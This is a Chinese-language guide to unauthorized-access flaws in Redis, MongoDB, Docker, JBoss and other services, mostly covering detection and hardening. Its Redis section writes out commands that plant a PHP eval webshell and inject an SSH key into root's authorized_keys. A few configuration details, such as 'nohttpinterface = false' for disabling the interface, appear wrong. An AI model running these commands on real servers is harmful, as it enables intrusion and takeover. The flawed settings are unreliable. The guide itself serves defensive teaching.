未授权访问漏洞总结
字数 1761 2025-08-18 11:38:49

未授权访问漏洞全面解析与防护指南

一、未授权访问漏洞概述

未授权访问漏洞是指由于安全配置或权限认证缺陷,导致攻击者无需认证即可直接访问系统敏感资源,从而引发权限操作、敏感信息泄露等安全问题。

二、常见未授权访问漏洞详解

1. MongoDB未授权访问漏洞

漏洞描述

  • 默认无认证,远程用户可通过27017端口进行高危操作
  • 即使添加--auth参数,在admin.system.users为空时仍可无限制操作

检测方法

  1. 检查监听配置:--bind_ip 127.0.0.1vim /etc/mongodb.conf查看bind_ip = 127.0.0.1
  2. 检查认证配置:mongod --auth或查看配置文件auth = true

修复方案

  1. 添加认证:
    use admin
    db.addUser("用户名", "密码")
    db.auth("用户名","密码") // 返回1表示成功
    
  2. 禁用HTTP/REST接口:nohttpinterface = false
  3. 限制绑定IP:bind_ip = 127.0.0.1

2. Redis未授权访问漏洞

漏洞描述

  • 默认绑定0.0.0.0:6379,无认证可读写数据
  • 可写入SSH公钥实现免密登录,或通过crontab反弹shell

攻击利用

  1. 网站写马:
    config set dir /var/www/html
    config set dbfilename shell.php
    set webshell "<?php @eval($_POST['123']);?>"
    save
    
  2. SSH免密登录:
    (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt
    cat test.txt | redis-cli -h <host> -x set test
    config set dir "/root/.ssh"
    config set dbfilename "authorized_keys"
    save
    

修复方案

  1. 设置强密码:修改redis.confrequirepass字段
  2. 配置IP限制和修改默认端口
  3. 清理后门木马

3. Memcached未授权访问(CVE-2013-7239)

漏洞描述

  • 全版本存在设计缺陷,无需认证可读写缓存内容
  • 默认监听11211端口

检测方法

  • netstat -an | more查看0.0.0.0:11211监听
  • telnet/nc连接测试或nmap扫描

修复方案

  1. 访问控制:iptables -A INPUT -p tcp -s 192.168.0.2 --dport 11211 -j ACCEPT
  2. 绑定本地:memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211
  3. 修改默认端口
  4. 最小权限运行

4. JBOSS未授权访问漏洞

漏洞描述

  • 默认可通过http://ip:8080/jmx-console直接管理部署

修复方案

  1. 修改%JBOSS_HOME%/server/default/deploy/jmx-console.war/WEB-INF/下的:
    • jboss-web.xml:取消安全约束注释
    • web.xml:注释GET/POST,取消security-constraint注释
  2. 修改用户配置:jbossws-users.propertiesjbossws-roles.properties

5. VNC未授权访问漏洞

漏洞描述

  • 默认端口5900/5901,无认证可远程控制主机

检测方法
使用Metasploit模块auxiliary/scanner/vnc/vnx_none_auth

修复方案

  1. 配置强密码认证
  2. 最小权限运行

6. Docker未授权访问漏洞

漏洞描述

  • 1.3和1.6版本存在权限问题,可通过2375端口获取宿主机权限

检测方法
访问ip:2375/version获取信息或执行容器命令

修复方案

  1. 启用TLS认证
  2. 网络访问控制

7. ZooKeeper未授权访问漏洞

漏洞描述

  • 默认2181端口,执行envi命令可获取敏感信息

检测方法

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, 2181))
s.send("envi")
print s.recv(1024)

修复方案

  1. 修改默认端口
  2. 增加认证配置

8. Rsync未授权访问漏洞

漏洞描述

  • 默认837端口,允许匿名访问可同步文件

修复方案

  1. 隐藏module:list = false
  2. 只读设置:Read only = true
  3. 访问控制:hosts allow = 123.123.123.123
  4. 账户认证
  5. 使用SSH加密传输

三、通用防护建议

  1. 最小权限原则:服务以最低必要权限运行
  2. 网络隔离:限制服务仅在内网可用,或通过安全组/IP白名单控制
  3. 认证强化:启用强密码认证机制
  4. 端口修改:更改默认服务端口
  5. 日志监控:记录关键操作日志
  6. 定期更新:保持服务版本最新

通过以上措施可有效防范未授权访问漏洞带来的安全风险。

未授权访问漏洞全面解析与防护指南 一、未授权访问漏洞概述 未授权访问漏洞是指由于安全配置或权限认证缺陷,导致攻击者无需认证即可直接访问系统敏感资源,从而引发权限操作、敏感信息泄露等安全问题。 二、常见未授权访问漏洞详解 1. MongoDB未授权访问漏洞 漏洞描述 : 默认无认证,远程用户可通过27017端口进行高危操作 即使添加--auth参数,在admin.system.users为空时仍可无限制操作 检测方法 : 检查监听配置: --bind_ip 127.0.0.1 或 vim /etc/mongodb.conf 查看 bind_ip = 127.0.0.1 检查认证配置: mongod --auth 或查看配置文件 auth = true 修复方案 : 添加认证: 禁用HTTP/REST接口: nohttpinterface = false 限制绑定IP: bind_ip = 127.0.0.1 2. Redis未授权访问漏洞 漏洞描述 : 默认绑定0.0.0.0:6379,无认证可读写数据 可写入SSH公钥实现免密登录,或通过crontab反弹shell 攻击利用 : 网站写马: SSH免密登录: 修复方案 : 设置强密码:修改 redis.conf 中 requirepass 字段 配置IP限制和修改默认端口 清理后门木马 3. Memcached未授权访问(CVE-2013-7239) 漏洞描述 : 全版本存在设计缺陷,无需认证可读写缓存内容 默认监听11211端口 检测方法 : netstat -an | more 查看0.0.0.0:11211监听 telnet/nc 连接测试或 nmap 扫描 修复方案 : 访问控制: iptables -A INPUT -p tcp -s 192.168.0.2 --dport 11211 -j ACCEPT 绑定本地: memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 修改默认端口 最小权限运行 4. JBOSS未授权访问漏洞 漏洞描述 : 默认可通过 http://ip:8080/jmx-console 直接管理部署 修复方案 : 修改 %JBOSS_HOME%/server/default/deploy/jmx-console.war/WEB-INF/ 下的: jboss-web.xml :取消安全约束注释 web.xml :注释GET/POST,取消 security-constraint 注释 修改用户配置: jbossws-users.properties 和 jbossws-roles.properties 5. VNC未授权访问漏洞 漏洞描述 : 默认端口5900/5901,无认证可远程控制主机 检测方法 : 使用Metasploit模块 auxiliary/scanner/vnc/vnx_none_auth 修复方案 : 配置强密码认证 最小权限运行 6. Docker未授权访问漏洞 漏洞描述 : 1.3和1.6版本存在权限问题,可通过2375端口获取宿主机权限 检测方法 : 访问 ip:2375/version 获取信息或执行容器命令 修复方案 : 启用TLS认证 网络访问控制 7. ZooKeeper未授权访问漏洞 漏洞描述 : 默认2181端口,执行 envi 命令可获取敏感信息 检测方法 : 修复方案 : 修改默认端口 增加认证配置 8. Rsync未授权访问漏洞 漏洞描述 : 默认837端口,允许匿名访问可同步文件 修复方案 : 隐藏module: list = false 只读设置: Read only = true 访问控制: hosts allow = 123.123.123.123 账户认证 使用SSH加密传输 三、通用防护建议 最小权限原则 :服务以最低必要权限运行 网络隔离 :限制服务仅在内网可用,或通过安全组/IP白名单控制 认证强化 :启用强密码认证机制 端口修改 :更改默认服务端口 日志监控 :记录关键操作日志 定期更新 :保持服务版本最新 通过以上措施可有效防范未授权访问漏洞带来的安全风险。